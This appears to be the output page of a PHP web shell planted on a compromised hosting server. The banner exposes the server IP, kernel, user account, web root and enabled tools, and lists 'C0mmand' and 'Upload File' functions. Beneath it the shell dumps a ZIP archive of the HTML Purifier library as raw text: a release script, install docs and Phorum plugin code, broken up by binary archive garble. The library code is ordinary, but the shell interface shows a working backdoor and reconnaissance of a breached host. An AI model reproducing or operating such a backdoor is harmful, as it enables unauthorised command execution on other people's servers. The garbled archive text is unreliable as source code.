|
Server IP : 213.176.29.180 / Your IP : 18.118.164.100 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 8.3.14 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/webtaragh/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
PK j�$Z� ��i
i
htmlpurifier/update-for-releasenu �[��� <?php
// release script
// PHP 5.0 only
if (php_sapi_name() != 'cli') {
echo 'Release script cannot be called from web-browser.';
exit;
}
if (!isset($argv[1])) {
echo
'php release.php [version]
HTML Purifier release script
';
exit;
}
$version = trim($argv[1]);
// Bump version numbers:
// ...in VERSION
file_put_contents('VERSION', $version);
// ...in NEWS
if ($is_dev = (strpos($version, 'dev') === false)) {
$date = date('Y-m-d');
$news_c = str_replace(
$l = "$version, unknown release date",
"$version, released $date",
file_get_contents('NEWS'),
$c
);
if (!$c) {
echo 'Could not update NEWS, missing ' . $l . PHP_EOL;
exit;
} elseif ($c > 1) {
echo 'More than one release declaration in NEWS replaced' . PHP_EOL;
exit;
}
file_put_contents('NEWS', $news_c);
}
// ...in Doxyfile
$doxyfile_c = preg_replace(
'/(?<=PROJECT_NUMBER {9}= )[^\s]+/m', // brittle
$version,
file_get_contents('Doxyfile'),
1, $c
);
if (!$c) {
echo 'Could not update Doxyfile, missing PROJECT_NUMBER.' . PHP_EOL;
exit;
}
file_put_contents('Doxyfile', $doxyfile_c);
// ...in HTMLPurifier.php
$htmlpurifier_c = file_get_contents('library/HTMLPurifier.php');
$htmlpurifier_c = preg_replace(
'/HTML Purifier .+? - /',
"HTML Purifier $version - ",
$htmlpurifier_c,
1, $c
);
if (!$c) {
echo 'Could not update HTMLPurifier.php, missing HTML Purifier [version] header.' . PHP_EOL;
exit;
}
$htmlpurifier_c = preg_replace(
'/public \$version = \'.+?\';/',
"public \$version = '$version';",
$htmlpurifier_c,
1, $c
);
if (!$c) {
echo 'Could not update HTMLPurifier.php, missing public $version.' . PHP_EOL;
exit;
}
$htmlpurifier_c = preg_replace(
'/const VERSION = \'.+?\';/',
"const VERSION = '$version';",
$htmlpurifier_c,
1, $c
);
if (!$c) {
echo 'Could not update HTMLPurifier.php, missing const $version.' . PHP_EOL;
exit;
}
file_put_contents('library/HTMLPurifier.php', $htmlpurifier_c);
$config_c = file_get_contents('library/HTMLPurifier/Config.php');
$config_c = preg_replace(
'/public \$version = \'.+?\';/',
"public \$version = '$version';",
$config_c,
1, $c
);
if (!$c) {
echo 'Could not update Config.php, missing public $version.' . PHP_EOL;
exit;
}
file_put_contents('library/HTMLPurifier/Config.php', $config_c);
passthru('maintenance/flush.sh');
if ($is_dev) echo "Review changes, write something in WHATSNEW and FOCUS, and then commit with log 'Release $version.'" . PHP_EOL;
else echo "Numbers updated to dev, no other modifications necessary!";
// vim: et sw=4 sts=4
PK j�$Z}���� � htmlpurifier/package.phpnu �[��� <?php
set_time_limit(0);
require_once 'PEAR/PackageFileManager2.php';
require_once 'PEAR/PackageFileManager/File.php';
PEAR::setErrorHandling(PEAR_ERROR_PRINT);
$pkg = new PEAR_PackageFileManager2;
$pkg->setOptions(
array(
'baseinstalldir' => '/',
'packagefile' => 'package.xml',
'packagedirectory' => realpath(dirname(__FILE__) . '/library'),
'filelistgenerator' => 'file',
'include' => array('*'),
'dir_roles' => array('/' => 'php'), // hack to put *.ser files in the right place
'ignore' => array(
'HTMLPurifier.standalone.php',
'HTMLPurifier.path.php',
'*.tar.gz',
'*.tgz',
'standalone/'
),
)
);
$pkg->setPackage('HTMLPurifier');
$pkg->setLicense('LGPL', 'http://www.gnu.org/licenses/lgpl.html');
$pkg->setSummary('Standards-compliant HTML filter');
$pkg->setDescription(
'HTML Purifier is an HTML filter that will remove all malicious code
(better known as XSS) with a thoroughly audited, secure yet permissive
whitelist and will also make sure your documents are standards
compliant.'
);
$pkg->addMaintainer('lead', 'ezyang', 'Edward Z. Yang', 'admin@htmlpurifier.org', 'yes');
$version = trim(file_get_contents('VERSION'));
$api_version = substr($version, 0, strrpos($version, '.'));
$pkg->setChannel('htmlpurifier.org');
$pkg->setAPIVersion($api_version);
$pkg->setAPIStability('stable');
$pkg->setReleaseVersion($version);
$pkg->setReleaseStability('stable');
$pkg->addRelease();
$pkg->setNotes(file_get_contents('WHATSNEW'));
$pkg->setPackageType('php');
$pkg->setPhpDep('5.0.0');
$pkg->setPearinstallerDep('1.4.3');
$pkg->generateContents();
$pkg->writePackageFile();
// vim: et sw=4 sts=4
PK j�$Z� ��1 1 htmlpurifier/INSTALLnu �[���
Install
How to install HTML Purifier
HTML Purifier is designed to run out of the box, so actually using the
library is extremely easy. (Although... if you were looking for a
step-by-step installation GUI, you've downloaded the wrong software!)
While the impatient can get going immediately with some of the sample
code at the bottom of this library, it's well worth reading this entire
document--most of the other documentation assumes that you are familiar
with these contents.
---------------------------------------------------------------------------
1. Compatibility
HTML Purifier is PHP 5 and PHP 7, and is actively tested from PHP 5.3
and up. It has no core dependencies with other libraries.
These optional extensions can enhance the capabilities of HTML Purifier:
* iconv : Converts text to and from non-UTF-8 encodings
* bcmath : Used for unit conversion and imagecrash protection
* tidy : Used for pretty-printing HTML
These optional libraries can enhance the capabilities of HTML Purifier:
* CSSTidy : Clean CSS stylesheets using %Core.ExtractStyleBlocks
Note: You should use the modernized fork of CSSTidy available
at https://github.com/Cerdic/CSSTidy
* Net_IDNA2 (PEAR) : IRI support using %Core.EnableIDNA
Note: This is not necessary for PHP 5.3 or later
---------------------------------------------------------------------------
2. Reconnaissance
A big plus of HTML Purifier is its inerrant support of standards, so
your web-pages should be standards-compliant. (They should also use
semantic markup, but that's another issue altogether, one HTML Purifier
cannot fix without reading your mind.)
HTML Purifier can process these doctypes:
* XHTML 1.0 Transitional (default)
* XHTML 1.0 Strict
* HTML 4.01 Transitional
* HTML 4.01 Strict
* XHTML 1.1
...and these character encodings:
* UTF-8 (default)
* Any encoding iconv supports (with crippled internationalization support)
These defaults reflect what my choices would be if I were authoring an
HTML document, however, what you choose depends on the nature of your
codebase. If you don't know what doctype you are using, you can determine
the doctype from this identifier at the top of your source code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
...and the character encoding from this code:
<meta http-equiv="Content-type" content="text/html;charset=ENCODING">
If the character encoding declaration is missing, STOP NOW, and
read 'docs/enduser-utf8.html' (web accessible at
http://htmlpurifier.org/docs/enduser-utf8.html). In fact, even if it is
present, read this document anyway, as many websites specify their
document's character encoding incorrectly.
---------------------------------------------------------------------------
3. Including the library
The procedure is quite simple:
require_once '/path/to/library/HTMLPurifier.auto.php';
This will setup an autoloader, so the library's files are only included
when you use them.
Only the contents in the library/ folder are necessary, so you can remove
everything else when using HTML Purifier in a production environment.
If you installed HTML Purifier via PEAR, all you need to do is:
require_once 'HTMLPurifier.auto.php';
Please note that the usual PEAR practice of including just the classes you
want will not work with HTML Purifier's autoloading scheme.
Advanced users, read on; other users can skip to section 4.
Autoload compatibility
----------------------
HTML Purifier attempts to be as smart as possible when registering an
autoloader, but there are some cases where you will need to change
your own code to accomodate HTML Purifier. These are those cases:
AN __autoload FUNCTION IS DECLARED AFTER OUR AUTOLOADER IS REGISTERED
spl_autoload_register() has the curious behavior of disabling
the existing __autoload() handler. Users need to explicitly
spl_autoload_register('__autoload'). Because we use SPL when it
is available, __autoload() will ALWAYS be disabled. If __autoload()
is declared before HTML Purifier is loaded, this is not a problem:
HTML Purifier will register the function for you. But if it is
declared afterwards, it will mysteriously not work. This
snippet of code (after your autoloader is defined) will fix it:
spl_autoload_register('__autoload')
For better performance
----------------------
Opcode caches, which greatly speed up PHP initialization for scripts
with large amounts of code (HTML Purifier included), don't like
autoloaders. We offer an include file that includes all of HTML Purifier's
files in one go in an opcode cache friendly manner:
// If /path/to/library isn't already in your include path, uncomment
// the below line:
// require '/path/to/library/HTMLPurifier.path.php';
require 'HTMLPurifier.includes.php';
Optional components still need to be included--you'll know if you try to
use a feature and you get a class doesn't exists error! The autoloader
can be used in conjunction with this approach to catch classes that are
missing. Simply add this afterwards:
require 'HTMLPurifier.autoload.php';
Standalone version
------------------
HTML Purifier has a standalone distribution; you can also generate
a standalone file from the full version by running the script
maintenance/generate-standalone.php . The standalone version has the
benefit of having most of its code in one file, so parsing is much
faster and the library is easier to manage.
If HTMLPurifier.standalone.php exists in the library directory, you
can use it like this:
require '/path/to/HTMLPurifier.standalone.php';
This is equivalent to including HTMLPurifier.includes.php, except that
the contents of standalone/ will be added to your path. To override this
behavior, specify a new HTMLPURIFIER_PREFIX where standalone files can
be found (usually, this will be one directory up, the "true" library
directory in full distributions). Don't forget to set your path too!
The autoloader can be added to the end to ensure the classes are
loaded when necessary; otherwise you can manually include them.
To use the autoloader, use this:
require 'HTMLPurifier.autoload.php';
For advanced users
------------------
HTMLPurifier.auto.php performs a number of operations that can be done
individually. These are:
HTMLPurifier.path.php
Puts /path/to/library in the include path. For high performance,
this should be done in php.ini.
HTMLPurifier.autoload.php
Registers our autoload handler HTMLPurifier_Bootstrap::autoload($class).
You can do these operations by yourself, if you like.
---------------------------------------------------------------------------
4. Configuration
HTML Purifier is designed to run out-of-the-box, but occasionally HTML
Purifier needs to be told what to do. If you answer no to any of these
questions, read on; otherwise, you can skip to the next section (or, if you're
into configuring things just for the heck of it, skip to 4.3).
* Am I using UTF-8?
* Am I using XHTML 1.0 Transitional?
If you answered no to any of these questions, instantiate a configuration
object and read on:
$config = HTMLPurifier_Config::createDefault();
4.1. Setting a different character encoding
You really shouldn't use any other encoding except UTF-8, especially if you
plan to support multilingual websites (read section three for more details).
However, switching to UTF-8 is not always immediately feasible, so we can
adapt.
HTML Purifier uses iconv to support other character encodings, as such,
any encoding that iconv supports <http://www.gnu.org/software/libiconv/>
HTML Purifier supports with this code:
$config->set('Core.Encoding', /* put your encoding here */);
An example usage for Latin-1 websites (the most common encoding for English
websites):
$config->set('Core.Encoding', 'ISO-8859-1');
Note that HTML Purifier's support for non-Unicode encodings is crippled by the
fact that any character not supported by that encoding will be silently
dropped, EVEN if it is ampersand escaped. If you want to work around
this, you are welcome to read docs/enduser-utf8.html for a fix,
but please be cognizant of the issues the "solution" creates (for this
reason, I do not include the solution in this document).
4.2. Setting a different doctype
For those of you using HTML 4.01 Transitional, you can disable
XHTML output like this:
$config->set('HTML.Doctype', 'HTML 4.01 Transitional');
Other supported doctypes include:
* HTML 4.01 Strict
* HTML 4.01 Transitional
* XHTML 1.0 Strict
* XHTML 1.0 Transitional
* XHTML 1.1
4.3. Other settings
There are more configuration directives which can be read about
here: <http://htmlpurifier.org/live/configdoc/plain.html> They're a bit boring,
but they can help out for those of you who like to exert maximum control over
your code. Some of the more interesting ones are configurable at the
demo <http://htmlpurifier.org/demo.php> and are well worth looking into
for your own system.
For example, you can fine tune allowed elements and attributes, convert
relative URLs to absolute ones, and even autoparagraph input text! These
are, respectively, %HTML.Allowed, %URI.MakeAbsolute and %URI.Base, and
%AutoFormat.AutoParagraph. The %Namespace.Directive naming convention
translates to:
$config->set('Namespace.Directive', $value);
E.g.
$config->set('HTML.Allowed', 'p,b,a[href],i');
$config->set('URI.Base', 'http://www.example.com');
$config->set('URI.MakeAbsolute', true);
$config->set('AutoFormat.AutoParagraph', true);
---------------------------------------------------------------------------
5. Caching
HTML Purifier generates some cache files (generally one or two) to speed up
its execution. For maximum performance, make sure that
library/HTMLPurifier/DefinitionCache/Serializer is writeable by the webserver.
If you are in the library/ folder of HTML Purifier, you can set the
appropriate permissions using:
chmod -R 0755 HTMLPurifier/DefinitionCache/Serializer
If the above command doesn't work, you may need to assign write permissions
to group:
chmod -R 0775 HTMLPurifier/DefinitionCache/Serializer
You can also chmod files via your FTP client; this option
is usually accessible by right clicking the corresponding directory and
then selecting "chmod" or "file permissions".
Starting with 2.0.1, HTML Purifier will generate friendly error messages
that will tell you exactly what you have to chmod the directory to, if in doubt,
follow its advice.
If you are unable or unwilling to give write permissions to the cache
directory, you can either disable the cache (and suffer a performance
hit):
$config->set('Core.DefinitionCache', null);
Or move the cache directory somewhere else (no trailing slash):
$config->set('Cache.SerializerPath', '/home/user/absolute/path');
---------------------------------------------------------------------------
6. Using the code
The interface is mind-numbingly simple:
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify( $dirty_html );
That's it! For more examples, check out docs/examples/ (they aren't very
different though). Also, docs/enduser-slow.html gives advice on what to
do if HTML Purifier is slowing down your application.
---------------------------------------------------------------------------
7. Quick install
First, make sure library/HTMLPurifier/DefinitionCache/Serializer is
writable by the webserver (see Section 5: Caching above for details).
If your website is in UTF-8 and XHTML Transitional, use this code:
<?php
require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($dirty_html);
?>
If your website is in a different encoding or doctype, use this code:
<?php
require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('Core.Encoding', 'ISO-8859-1'); // replace with your encoding
$config->set('HTML.Doctype', 'HTML 4.01 Transitional'); // replace with your doctype
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($dirty_html);
?>
vim: et sw=4 sts=4
PK j�$Zc4�Z� � $ htmlpurifier/plugins/phorum/info.txtnu �[��� title: HTML Purifier Phorum Mod
desc: This module enables standards-compliant HTML filtering on Phorum. Please check migrate.bbcode.php before enabling this mod.
author: Edward Z. Yang
url: http://htmlpurifier.org/
version: 4.0.0
hook: format|phorum_htmlpurifier_format
hook: quote|phorum_htmlpurifier_quote
hook: posting_custom_action|phorum_htmlpurifier_posting
hook: common|phorum_htmlpurifier_common
hook: before_editor|phorum_htmlpurifier_before_editor
hook: tpl_editor_after_subject|phorum_htmlpurifier_editor_after_subject
# This module is meant to be a drop-in for bbcode, so make it run last.
priority: run module after *
priority: run hook format after *
vim: et sw=4 sts=4
PK j�$Z�9S� � # htmlpurifier/plugins/phorum/INSTALLnu �[���
Install
How to install the Phorum HTML Purifier plugin
0. PREREQUISITES
----------------
This Phorum module only works on PHP5 and with HTML Purifier 4.0.0
or later.
1. UNZIP
--------
Unzip phorum-htmlpurifier-x.y.z, producing an htmlpurifier folder.
You've already done this step if you're reading this!
2. MOVE
-------
Move the htmlpurifier folder to the mods/ folder of your Phorum
installation, so the directory structure looks like:
phorum/
mods/
htmlpurifier/
INSTALL - this install file
info.txt, ... - the module files
htmlpurifier/
3. INSTALL HTML PURIFIER
------------------------
Download and unzip HTML Purifier <htmlpurifier.org>. Place the contents of
the library/ folder in the htmlpurifier/htmlpurifier folder. Your directory
structure will look like:
phorum/
mods/
htmlpurifier/
htmlpurifier/
HTMLPurifier.auto.php
... - other files
HTMLPurifier/
Advanced users:
If you have HTML Purifier installed elsewhere on your server,
all you need is an HTMLPurifier.auto.php file in the library folder which
includes the HTMLPurifier.auto.php file in your install.
4. MIGRATE
----------
If you're setting up a new Phorum installation, all you need to do is create
a blank migrate.php file in the htmlpurifier module folder (NOT the library
folder.
If you have an old Phorum installation and was using BBCode,
copy migrate.bbcode.php to migrate.php. If you were using a different input
format, follow the instructions in migrate.bbcode.php to create your own custom
migrate.php file.
Your directory structure should now look like this:
phorum/
mods/
htmlpurifier/
migrate.php
5. ENABLE
---------
Navigate to your Phorum admin panel at http://example.com/phorum/admin.php,
click on Global Settings > Modules, scroll to "HTML Purifier Phorum Mod" and
turn it On.
6. MIGRATE SIGNATURES
---------------------
If you're setting up a new Phorum installation, skip this step.
If you allowed your users to make signatures, navigate to the module settings
page of HTML Purifier (Global Settings > Modules > HTML Purifier Phorum Mod >
Configure), type in "yes" in the "Confirm" box, and press "Migrate."
ONLY DO THIS ONCE! BE SURE TO BACK UP YOUR DATABASE!
7. CONFIGURE
------------
Configure using Edit settings. See that page for more information.
vim: et sw=4 sts=4
PK j�$Z'$��� � + htmlpurifier/plugins/phorum/init-config.phpnu �[��� <?php
/**
* Initializes the appropriate configuration from either a PHP file
* or a module configuration value
* @return Instance of HTMLPurifier_Config
*/
function phorum_htmlpurifier_get_config($default = false)
{
global $PHORUM;
$config_exists = phorum_htmlpurifier_config_file_exists();
if ($default || $config_exists || !isset($PHORUM['mod_htmlpurifier']['config'])) {
$config = HTMLPurifier_Config::createDefault();
include(dirname(__FILE__) . '/config.default.php');
if ($config_exists) {
include(dirname(__FILE__) . '/config.php');
}
unset($PHORUM['mod_htmlpurifier']['config']); // unnecessary
} else {
$config = HTMLPurifier_Config::create($PHORUM['mod_htmlpurifier']['config']);
}
return $config;
}
function phorum_htmlpurifier_config_file_exists()
{
return file_exists(dirname(__FILE__) . '/config.php');
}
// vim: et sw=4 sts=4
PK j�$Z�c�(� � : htmlpurifier/plugins/phorum/settings/migrate-sigs-form.phpnu �[��� <?php
function phorum_htmlpurifier_show_migrate_sigs_form()
{
$frm = new PhorumInputForm ('', "post", "Migrate");
$frm->hidden("module", "modsettings");
$frm->hidden("mod", "htmlpurifier");
$frm->hidden("migrate-sigs", "1");
$frm->addbreak("Migrate user signatures to HTML");
$frm->addMessage('This operation will migrate your users signatures
to HTML. <strong>This process is irreversible and must only be performed once.</strong>
Type in yes in the confirmation field to migrate.');
if (!file_exists(dirname(__FILE__) . '/../migrate.php')) {
$frm->addMessage('Migration file does not exist, cannot migrate signatures.
Please check <tt>migrate.bbcode.php</tt> on how to create an appropriate file.');
} else {
$frm->addrow('Confirm:', $frm->text_box("confirmation", ""));
}
$frm->show();
}
// vim: et sw=4 sts=4
PK j�$Z��O�} } 5 htmlpurifier/plugins/phorum/settings/migrate-sigs.phpnu �[��� <?php
function phorum_htmlpurifier_migrate_sigs_check()
{
global $PHORUM;
$offset = 0;
if (!empty($_POST['migrate-sigs'])) {
if (!isset($_POST['confirmation']) || strtolower($_POST['confirmation']) !== 'yes') {
echo 'Invalid confirmation code.';
exit;
}
$PHORUM['mod_htmlpurifier']['migrate-sigs'] = true;
phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"]));
$offset = 1;
} elseif (!empty($_GET['migrate-sigs']) && $PHORUM['mod_htmlpurifier']['migrate-sigs']) {
$offset = (int) $_GET['migrate-sigs'];
}
return $offset;
}
function phorum_htmlpurifier_migrate_sigs($offset)
{
global $PHORUM;
if(!$offset) return; // bail out quick if $offset == 0
// theoretically, we could get rid of this multi-request
// doo-hickery if safe mode is off
@set_time_limit(0); // attempt to let this run
$increment = $PHORUM['mod_htmlpurifier']['migrate-sigs-increment'];
require_once(dirname(__FILE__) . '/../migrate.php');
// migrate signatures
// do this in batches so we don't run out of time/space
$end = $offset + $increment;
$user_ids = array();
for ($i = $offset; $i < $end; $i++) {
$user_ids[] = $i;
}
$userinfos = phorum_db_user_get_fields($user_ids, 'signature');
foreach ($userinfos as $i => $user) {
if (empty($user['signature'])) continue;
$sig = $user['signature'];
// perform standard Phorum processing on the sig
$sig = str_replace(array("&","<",">"), array("&","<",">"), $sig);
$sig = preg_replace("/<((http|https|ftp):\/\/[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),~%]+?)>/i", "$1", $sig);
// prepare fake data to pass to migration function
$fake_data = array(array("author"=>"", "email"=>"", "subject"=>"", 'body' => $sig));
list($fake_message) = phorum_htmlpurifier_migrate($fake_data);
$user['signature'] = $fake_message['body'];
if (!phorum_api_user_save($user)) {
exit('Error while saving user data');
}
}
unset($userinfos); // free up memory
// query for highest ID in database
$type = $PHORUM['DBCONFIG']['type'];
$sql = "select MAX(user_id) from {$PHORUM['user_table']}";
$row = phorum_db_interact(DB_RETURN_ROW, $sql);
$top_id = (int) $row[0];
$offset += $increment;
if ($offset > $top_id) { // test for end condition
echo 'Migration finished';
$PHORUM['mod_htmlpurifier']['migrate-sigs'] = false;
phorum_htmlpurifier_commit_settings();
return true;
}
$host = $_SERVER['HTTP_HOST'];
$uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
$extra = 'admin.php?module=modsettings&mod=htmlpurifier&migrate-sigs=' . $offset;
// relies on output buffering to work
header("Location: http://$host$uri/$extra");
exit;
}
// vim: et sw=4 sts=4
PK j�$Z@RXNK K - htmlpurifier/plugins/phorum/settings/save.phpnu �[��� <?php
function phorum_htmlpurifier_save_settings()
{
global $PHORUM;
if (phorum_htmlpurifier_config_file_exists()) {
echo "Cannot update settings, <code>mods/htmlpurifier/config.php</code> already exists. To change
settings, edit that file. To use the web form, delete that file.<br />";
} else {
$config = phorum_htmlpurifier_get_config(true);
if (!isset($_POST['reset'])) $config->mergeArrayFromForm($_POST, 'config', $PHORUM['mod_htmlpurifier']['directives']);
$PHORUM['mod_htmlpurifier']['config'] = $config->getAll();
}
$PHORUM['mod_htmlpurifier']['wysiwyg'] = !empty($_POST['wysiwyg']);
$PHORUM['mod_htmlpurifier']['suppress_message'] = !empty($_POST['suppress_message']);
if(!phorum_htmlpurifier_commit_settings()){
$error="Database error while updating settings.";
} else {
echo "Settings Updated<br />";
}
}
function phorum_htmlpurifier_commit_settings()
{
global $PHORUM;
return phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"]));
}
// vim: et sw=4 sts=4
PK j�$Z���c) ) - htmlpurifier/plugins/phorum/settings/form.phpnu �[��� <?php
function phorum_htmlpurifier_show_form()
{
if (phorum_htmlpurifier_config_file_exists()) {
phorum_htmlpurifier_show_config_info();
return;
}
global $PHORUM;
$config = phorum_htmlpurifier_get_config();
$frm = new PhorumInputForm ("", "post", "Save");
$frm->hidden("module", "modsettings");
$frm->hidden("mod", "htmlpurifier"); // this is the directory name that the Settings file lives in
if (!empty($error)){
echo "$error<br />";
}
$frm->addbreak("Edit settings for the HTML Purifier module");
$frm->addMessage('<p>The box below sets <code>$PHORUM[\'mod_htmlpurifier\'][\'wysiwyg\']</code>.
When checked, contents sent for edit are now purified and the
informative message is disabled. If your WYSIWYG editor is disabled for
admin edits, you can safely keep this unchecked.</p>');
$frm->addRow('Use WYSIWYG?', $frm->checkbox('wysiwyg', '1', '', $PHORUM['mod_htmlpurifier']['wysiwyg']));
$frm->addMessage('<p>The box below sets <code>$PHORUM[\'mod_htmlpurifier\'][\'suppress_message\']</code>,
which removes the big how-to use
HTML Purifier message.</p>');
$frm->addRow('Suppress information?', $frm->checkbox('suppress_message', '1', '', $PHORUM['mod_htmlpurifier']['suppress_message']));
$frm->addMessage('<p>Click on directive links to read what each option does
(links do not open in new windows).</p>
<p>For more flexibility (for instance, you want to edit the full
range of configuration directives), you can create a <tt>config.php</tt>
file in your <tt>mods/htmlpurifier/</tt> directory. Doing so will,
however, make the web configuration interface unavailable.</p>');
require_once 'HTMLPurifier/Printer/ConfigForm.php';
$htmlpurifier_form = new HTMLPurifier_Printer_ConfigForm('config', 'http://htmlpurifier.org/live/configdoc/plain.html#%s');
$htmlpurifier_form->setTextareaDimensions(23, 7); // widen a little, since we have space
$frm->addMessage($htmlpurifier_form->render(
$config, $PHORUM['mod_htmlpurifier']['directives'], false));
$frm->addMessage("<strong>Warning: Changing HTML Purifier's configuration will invalidate
the cache. Expect to see a flurry of database activity after you change
any of these settings.</strong>");
$frm->addrow('Reset to defaults:', $frm->checkbox("reset", "1", "", false));
// hack to include extra styling
echo '<style type="text/css">' . $htmlpurifier_form->getCSS() . '
.hp-config {margin-left:auto;margin-right:auto;}
</style>';
$js = $htmlpurifier_form->getJavaScript();
echo '<script type="text/javascript">'."<!--\n$js\n//-->".'</script>';
$frm->show();
}
function phorum_htmlpurifier_show_config_info()
{
global $PHORUM;
// update mod_htmlpurifier for housekeeping
phorum_htmlpurifier_commit_settings();
// politely tell user how to edit settings manually
?>
<div class="input-form-td-break">How to edit settings for HTML Purifier module</div>
<p>
A <tt>config.php</tt> file exists in your <tt>mods/htmlpurifier/</tt>
directory. This file contains your custom configuration: in order to
change it, please navigate to that file and edit it accordingly.
You can also set <code>$GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg']</code>
or <code>$GLOBALS['PHORUM']['mod_htmlpurifier']['suppress_message']</code>
</p>
<p>
To use the web interface, delete <tt>config.php</tt> (or rename it to
<tt>config.php.bak</tt>).
</p>
<p>
<strong>Warning: Changing HTML Purifier's configuration will invalidate
the cache. Expect to see a flurry of database activity after you change
any of these settings.</strong>
</p>
<?php
}
// vim: et sw=4 sts=4
PK j�$Z��dY Y . htmlpurifier/plugins/phorum/config.default.phpnu �[��� <?php
if(!defined("PHORUM")) exit;
// default HTML Purifier configuration settings
$config->set('HTML.Allowed',
// alphabetically sorted
'a[href|title]
abbr[title]
acronym[title]
b
blockquote[cite]
br
caption
cite
code
dd
del
dfn
div
dl
dt
em
i
img[src|alt|title|class]
ins
kbd
li
ol
p
pre
s
strike
strong
sub
sup
table
tbody
td
tfoot
th
thead
tr
tt
u
ul
var');
$config->set('AutoFormat.AutoParagraph', true);
$config->set('AutoFormat.Linkify', true);
$config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
$config->set('Core.AggressivelyFixLt', true);
$config->set('Core.Encoding', $GLOBALS['PHORUM']['DATA']['CHARSET']); // we'll change this eventually
if (strtolower($GLOBALS['PHORUM']['DATA']['CHARSET']) !== 'utf-8') {
$config->set('Core.EscapeNonASCIICharacters', true);
}
$config->set('Core.AllowParseManyTags', false);
// vim: et sw=4 sts=4
PK j�$Z��?) ) . htmlpurifier/plugins/phorum/migrate.bbcode.phpnu �[��� <?php
/**
* This file is responsible for migrating from a specific markup language
* like BBCode or Markdown to HTML. WARNING: THIS PROCESS IS NOT REVERSIBLE
*
* Copy this file to 'migrate.php' and it will automatically work for
* BBCode; you may need to tweak this a little to get it to work for other
* languages (usually, just replace the include name and the function name).
*
* If you do NOT want to have any migration performed (for instance, you
* are installing the module on a new forum with no posts), simply remove
* phorum_htmlpurifier_migrate() function. You still need migrate.php
* present, otherwise the module won't work. This ensures that the user
* explicitly says, "No, I do not need to migrate."
*/
if(!defined("PHORUM")) exit;
require_once(dirname(__FILE__) . "/../bbcode/bbcode.php");
/**
* 'format' hook style function that will be called to convert
* legacy markup into HTML.
*/
function phorum_htmlpurifier_migrate($data)
{
return phorum_mod_bbcode_format($data); // bbcode's 'format' hook
}
// vim: et sw=4 sts=4
PK j�$ZT}�� � ( htmlpurifier/plugins/phorum/settings.phpnu �[��� <?php
// based off of BBCode's settings file
/**
* HTML Purifier Phorum mod settings configuration. This provides
* a convenient web-interface for editing the most common HTML Purifier
* configuration directives. You can also specify custom configuration
* by creating a 'config.php' file.
*/
if(!defined("PHORUM_ADMIN")) exit;
// error reporting is good!
error_reporting(E_ALL ^ E_NOTICE);
// load library and other paraphenalia
require_once './include/admin/PhorumInputForm.php';
require_once (dirname(__FILE__) . '/htmlpurifier/HTMLPurifier.auto.php');
require_once (dirname(__FILE__) . '/init-config.php');
require_once (dirname(__FILE__) . '/settings/migrate-sigs-form.php');
require_once (dirname(__FILE__) . '/settings/migrate-sigs.php');
require_once (dirname(__FILE__) . '/settings/form.php');
require_once (dirname(__FILE__) . '/settings/save.php');
// define friendly configuration directives. you can expand this array
// to get more web-definable directives
$PHORUM['mod_htmlpurifier']['directives'] = array(
'URI.Host', // auto-detectable
'URI.DisableExternal',
'URI.DisableExternalResources',
'URI.DisableResources',
'URI.Munge',
'URI.HostBlacklist',
'URI.Disable',
'HTML.TidyLevel',
'HTML.Doctype', // auto-detectable
'HTML.Allowed',
'AutoFormat',
'-AutoFormat.Custom',
'AutoFormatParam',
'Output.TidyFormat',
);
// lower this setting if you're getting time outs/out of memory
$PHORUM['mod_htmlpurifier']['migrate-sigs-increment'] = 100;
if (isset($_POST['reset'])) {
unset($PHORUM['mod_htmlpurifier']['config']);
}
if ($offset = phorum_htmlpurifier_migrate_sigs_check()) {
// migrate signatures
phorum_htmlpurifier_migrate_sigs($offset);
} elseif(!empty($_POST)){
// save settings
phorum_htmlpurifier_save_settings();
}
phorum_htmlpurifier_show_migrate_sigs_form();
echo '<br />';
phorum_htmlpurifier_show_form();
// vim: et sw=4 sts=4
PK j�$Z�x�U/ U/ , htmlpurifier/plugins/phorum/htmlpurifier.phpnu �[��� <?php
/**
* HTML Purifier Phorum Mod. Filter your HTML the Standards-Compliant Way!
*
* This Phorum mod enables users to post raw HTML into Phorum. But never
* fear: with the help of HTML Purifier, this HTML will be beat into
* de-XSSed and standards-compliant form, safe for general consumption.
* It is not recommended, but possible to run this mod in parallel
* with other formatters (in short, please DISABLE the BBcode mod).
*
* For help migrating from your previous markup language to pure HTML
* please check the migrate.bbcode.php file.
*
* If you'd like to use this with a WYSIWYG editor, make sure that
* editor sets $PHORUM['mod_htmlpurifier']['wysiwyg'] to true. Otherwise,
* administrators who need to edit other people's comments may be at
* risk for some nasty attacks.
*
* Tested with Phorum 5.2.11.
*/
// Note: Cache data is base64 encoded because Phorum insists on flinging
// to the user and expecting it to come back unharmed, newlines and
// all, which ain't happening. It's slower, it takes up more space, but
// at least it won't get mutilated
/**
* Purifies a data array
*/
function phorum_htmlpurifier_format($data)
{
$PHORUM = $GLOBALS["PHORUM"];
$purifier =& HTMLPurifier::getInstance();
$cache_serial = $PHORUM['mod_htmlpurifier']['body_cache_serial'];
foreach($data as $message_id => $message){
if(isset($message['body'])) {
if ($message_id) {
// we're dealing with a real message, not a fake, so
// there a number of shortcuts that can be taken
if (isset($message['meta']['htmlpurifier_light'])) {
// format hook was called outside of Phorum's normal
// functions, do the abridged purification
$data[$message_id]['body'] = $purifier->purify($message['body']);
continue;
}
if (!empty($PHORUM['args']['purge'])) {
